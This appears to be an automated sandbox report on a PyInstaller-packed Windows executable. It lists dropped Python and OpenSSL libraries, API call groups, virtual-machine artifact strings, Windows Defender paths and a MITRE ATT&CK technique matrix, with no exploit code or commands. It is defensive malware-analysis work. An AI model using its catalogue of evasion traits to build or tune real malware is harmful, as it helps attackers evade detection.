failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: aLsxeH29P2.exe, 00000000.00000003.1714112999.0000021C0757E000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: libcrypto-3.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: aLsxeH29P2.exe, 00000000.00000003.1714112999.0000021C0757E000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: libcrypto-3.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, _socket.pyd.0.dr

Source: aLsxeH29P2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: aLsxeH29P2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: aLsxeH29P2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: aLsxeH29P2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: aLsxeH29P2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.0.dr	Static PE information: section name: .00cfg
Source: python312.dll.0.dr	Static PE information: section name: PyRuntim

Source: C:\Users\user\Desktop\aLsxeH29P2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73522\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73522\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73522\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73522\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73522\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73522\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73522\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73522\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73522\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73522\_decimal.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

Code function: 0_2_00007FF7F3DD5830 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF7F3DD5830

Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73522\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73522\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73522\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73522\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73522\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73522\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73522\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73522\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73522\unicodedata.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17226

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

API coverage: 6.0 %

Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DD9280 FindFirstFileExW,FindClose,	0_2_00007FF7F3DD9280
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DD83C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF7F3DD83C0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7F3DF1874
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DD9280 FindFirstFileExW,FindClose,	1_2_00007FF7F3DD9280
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DD83C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF7F3DD83C0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF7F3DF1874

Source: Amcache.hve.1.dr	Binary or memory string: VMware
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.1.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.1.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.1.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.1.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.1.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.1.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.1.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.1.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: curl.exe, 00000002.00000003.1744515341.000001AFC6355000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}}
Source: Amcache.hve.1.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.1.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.1.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.1.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.1.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.1.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.1.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.1.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.1.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.1.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.1.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.1.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.1.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.1.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

Code function: 0_2_00007FF7F3DDD12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7F3DDD12C

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

Code function: 0_2_00007FF7F3DF3480 GetProcessHeap,

0_2_00007FF7F3DF3480

Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DDD30C SetUnhandledExceptionFilter,	0_2_00007FF7F3DDD30C
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DDD12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7F3DDD12C
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DDC8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7F3DDC8A0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DEA614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7F3DEA614
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DDD30C SetUnhandledExceptionFilter,	1_2_00007FF7F3DDD30C
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DDD12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF7F3DDD12C
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DDC8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF7F3DDC8A0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DEA614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF7F3DEA614
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FFE126D0AA8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE126D0AA8

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

Process created: C:\Users\user\Desktop\aLsxeH29P2.exe "C:\Users\user\Desktop\aLsxeH29P2.exe"

Jump to behavior

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

Code function: 0_2_00007FF7F3DF9570 cpuid

0_2_00007FF7F3DF9570

Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Queries volume information: C:\Users\user\Desktop\aLsxeH29P2.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

Code function: 0_2_00007FF7F3DDD010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7F3DDD010

Source: C:\Users\user\Desktop\aLsxeH29P2.exe

Code function: 0_2_00007FF7F3DF5C00 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF7F3DF5C00

Source: Amcache.hve.1.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	11 Process Injection	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	22 System Information Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
